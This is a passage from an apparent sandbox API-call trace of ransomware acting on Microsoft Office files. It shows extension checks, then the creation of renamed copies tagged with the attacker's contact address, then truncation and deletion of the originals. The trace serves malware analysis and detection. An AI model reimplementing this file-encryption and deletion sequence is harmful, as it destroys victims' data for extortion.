(lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0105.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0105.974] lstrlenW (lpString=".doc") returned 4 [0105.974] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0105.974] lstrlenW (lpString=".docx") returned 5 [0105.974] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0105.974] lstrlenW (lpString=".pdf") returned 4 [0105.974] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0105.974] lstrlenW (lpString=".xls") returned 4 [0105.974] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0105.974] lstrlenW (lpString=".xlsx") returned 5 [0105.974] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0105.975] lstrlenW (lpString=".ppt") returned 4 [0105.975] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0105.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0105.975] lstrlenW (lpString=".zip") returned 4 [0105.975] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0105.975] lstrlenW (lpString=".rar") returned 4 [0105.975] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0105.975] lstrlenW (lpString=".bz2") returned 4 [0105.975] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0105.975] lstrlenW (lpString=".7z") returned 3 [0105.975] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0105.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0105.975] lstrlenW (lpString=".dbf") returned 4 [0105.975] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0105.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0105.975] lstrlenW (lpString=".1cd") returned 4 [0105.975] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0105.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0105.975] lstrlenW (lpString=".jpg") returned 4 [0105.975] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0105.975] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0105.975] lstrlenW (lpString="PUB6INTL.REST.IDX_DLL") returned 21 [0105.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0106.049] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=269184) returned 1 [0106.049] CloseHandle (hObject=0x188) returned 1 [0106.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll")) returned 0x20 [0106.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0106.089] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.089] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0106.090] GetLastError () returned 0x0 [0106.090] ReadFile (in: hFile=0x39c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x41b80, lpOverlapped=0x0) returned 1 [0106.097] WriteFile (in: hFile=0x180, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x41b90, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x41b90, lpOverlapped=0x0) returned 1 [0106.100] ReadFile (in: hFile=0x39c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0106.100] WriteFile (in: hFile=0x180, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0106.100] SetEndOfFile (hFile=0x180) returned 1 [0106.101] CloseHandle (hObject=0x180) returned 1 [0106.101] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.101] SetEndOfFile (hFile=0x39c) returned 1 [0106.106] CloseHandle (hObject=0x39c) returned 1 [0106.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.rest.idx_dll")) returned 1 [0106.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0106.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0106.107] lstrlenW (lpString=".doc") returned 4 [0106.107] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0106.107] lstrlenW (lpString=".docx") returned 5 [0106.107] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0106.107] lstrlenW (lpString=".pdf") returned 4 [0106.107] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0106.107] lstrlenW (lpString=".xls") returned 4 [0106.107] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0106.107] lstrlenW (lpString=".xlsx") returned 5 [0106.107] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0106.107] lstrlenW (lpString=".ppt") returned 4 [0106.107] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0106.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0106.107] lstrlenW (lpString=".zip") returned 4 [0106.107] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0106.107] lstrlenW (lpString=".rar") returned 4 [0106.108] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0106.108] lstrlenW (lpString=".bz2") returned 4 [0106.108] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0106.108] lstrlenW (lpString=".7z") returned 3 [0106.108] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0106.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0106.108] lstrlenW (lpString=".dbf") returned 4 [0106.108] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0106.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0106.108] lstrlenW (lpString=".1cd") returned 4 [0106.108] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0106.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0106.108] lstrlenW (lpString=".jpg") returned 4 [0106.108] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0106.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0106.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0106.108] lstrlenW (lpString=".doc") returned 4 [0106.108] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0106.108] lstrlenW (lpString=".docx") returned 5 [0106.108] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0106.108] lstrlenW (lpString=".pdf") returned 4 [0106.108] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0106.108] lstrlenW (lpString=".xls") returned 4 [0106.108] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0106.108] lstrlenW (lpString=".xlsx") returned 5 [0106.108] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0106.108] lstrlenW (lpString=".ppt") returned 4 [0106.108] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0106.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0106.108] lstrlenW (lpString=".zip") returned 4 [0106.108] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0106.108] lstrlenW (lpString=".rar") returned 4 [0106.108] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0106.108] lstrlenW (lpString=".bz2") returned 4 [0106.108] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0106.108] lstrlenW (lpString=".7z") returned 3 [0106.108] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0106.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0106.108] lstrlenW (lpString=".dbf") returned 4 [0106.108] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0106.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0106.108] lstrlenW (lpString=".1cd") returned 4 [0106.108] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0106.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.REST.IDX_DLL") returned 69 [0106.108] lstrlenW (lpString=".jpg") returned 4 [0106.109] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0106.109] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0106.109] lstrlenW (lpString="SETLANG.HXS") returned 11 [0106.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0106.110] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=397828) returned 1 [0106.110] CloseHandle (hObject=0x39c) returned 1 [0106.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs")) returned 0x20 [0106.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0106.110] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.110] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0106.111] GetLastError () returned 0x0 [0106.111] ReadFile (in: hFile=0x39c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x61204, lpOverlapped=0x0) returned 1 [0106.120] WriteFile (in: hFile=0x180, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x61210, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x61210, lpOverlapped=0x0) returned 1 [0106.639] ReadFile (in: hFile=0x39c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0106.640] WriteFile (in: hFile=0x180, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xea, lpOverlapped=0x0) returned 1 [0106.640] SetEndOfFile (hFile=0x180) returned 1 [0106.640] CloseHandle (hObject=0x180) returned 1 [0106.640] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.640] SetEndOfFile (hFile=0x39c) returned 1 [0106.646] CloseHandle (hObject=0x39c) returned 1 [0106.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.776] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs")) returned 1 [0106.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0106.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0106.797] lstrlenW (lpString=".doc") returned 4 [0106.797] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0106.797] lstrlenW (lpString=".docx") returned 5 [0106.797] lstrcmpiW (lpString1=".docx", lpString2="G.HXS") returned -1 [0106.797] lstrlenW (lpString=".pdf") returned 4 [0106.797] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0106.797] lstrlenW (lpString=".xls") returned 4 [0106.797] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0106.797] lstrlenW (lpString=".xlsx") returned 5 [0106.797] lstrcmpiW (lpString1=".xlsx", lpString2="G.HXS") returned -1 [0106.797] lstrlenW (lpString=".ppt") returned 4 [0106.797] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0106.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0106.797] lstrlenW (lpString=".zip") returned 4 [0106.797] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0106.797] lstrlenW (lpString=".rar") returned 4 [0106.797] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0106.797] lstrlenW (lpString=".bz2") returned 4 [0106.797] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0106.797] lstrlenW (lpString=".7z") returned 3 [0106.797] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0106.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0106.797] lstrlenW (lpString=".dbf") returned 4 [0106.798] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0106.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0106.798] lstrlenW (lpString=".1cd") returned 4 [0106.798] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0106.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0106.798] lstrlenW (lpString=".jpg") returned 4 [0106.798] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0106.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0106.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0106.798] lstrlenW (lpString=".doc") returned 4 [0106.798] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0106.798] lstrlenW (lpString=".docx") returned 5 [0106.798] lstrcmpiW (lpString1=".docx", lpString2="G.HXS") returned -1 [0106.798] lstrlenW (lpString=".pdf") returned 4 [0106.798] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0106.798] lstrlenW (lpString=".xls") returned 4 [0106.798] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0106.798] lstrlenW (lpString=".xlsx") returned 5 [0106.798] lstrcmpiW (lpString1=".xlsx", lpString2="G.HXS") returned -1 [0106.798] lstrlenW (lpString=".ppt") returned 4 [0106.798] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0106.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0106.798] lstrlenW (lpString=".zip") returned 4 [0106.798] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0106.798] lstrlenW (lpString=".rar") returned 4 [0106.798] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0106.798] lstrlenW (lpString=".bz2") returned 4 [0106.798] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0106.798] lstrlenW (lpString=".7z") returned 3 [0106.798] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0106.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0106.798] lstrlenW (lpString=".dbf") returned 4 [0106.798] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0106.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0106.798] lstrlenW (lpString=".1cd") returned 4 [0106.798] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0106.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0106.798] lstrlenW (lpString=".jpg") returned 4 [0106.798] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0106.798] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0106.798] lstrlenW (lpString="SGRES.DLL.IDX_DLL") returned 17 [0106.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0106.956] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=11648) returned 1 [0106.956] CloseHandle (hObject=0x38c) returned 1 [0106.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll")) returned 0x20 [0107.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0107.007] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.007] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0107.008] GetLastError () returned 0x0 [0107.008] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x2d80, lpOverlapped=0x0) returned 1 [0107.016] WriteFile (in: hFile=0x3cc, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x2d90, lpOverlapped=0x0) returned 1 [0107.017] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.017] WriteFile (in: hFile=0x3cc, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0107.017] SetEndOfFile (hFile=0x3cc) returned 1 [0107.017] CloseHandle (hObject=0x3cc) returned 1 [0107.017] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.017] SetEndOfFile (hFile=0x3b8) returned 1 [0107.019] CloseHandle (hObject=0x3b8) returned 1 [0107.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll")) returned 1 [0107.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0107.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0107.064] lstrlenW (lpString=".doc") returned 4 [0107.064] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0107.064] lstrlenW (lpString=".docx") returned 5 [0107.064] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0107.064] lstrlenW (lpString=".pdf") returned 4 [0107.064] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0107.064] lstrlenW (lpString=".xls") returned 4 [0107.064] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0107.064] lstrlenW (lpString=".xlsx") returned 5 [0107.064] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0107.064] lstrlenW (lpString=".ppt") returned 4 [0107.064] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0107.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0107.064] lstrlenW (lpString=".zip") returned 4 [0107.064] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0107.064] lstrlenW (lpString=".rar") returned 4 [0107.064] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0107.064] lstrlenW (lpString=".bz2") returned 4 [0107.064] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0107.064] lstrlenW (lpString=".7z") returned 3 [0107.064] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0107.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0107.064] lstrlenW (lpString=".dbf") returned 4 [0107.064] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0107.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0107.064] lstrlenW (lpString=".1cd") returned 4 [0107.064] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0107.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0107.064] lstrlenW (lpString=".jpg") returned 4 [0107.064] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0107.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0107.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0107.065] lstrlenW (lpString=".doc") returned 4 [0107.065] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0107.065] lstrlenW (lpString=".docx") returned 5 [0107.065] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0107.065] lstrlenW (lpString=".pdf") returned 4 [0107.065] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0107.065] lstrlenW (lpString=".xls") returned 4 [0107.065] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0107.065] lstrlenW (lpString=".xlsx") returned 5 [0107.065] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0107.065] lstrlenW (lpString=".ppt") returned 4 [0107.065] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0107.065] 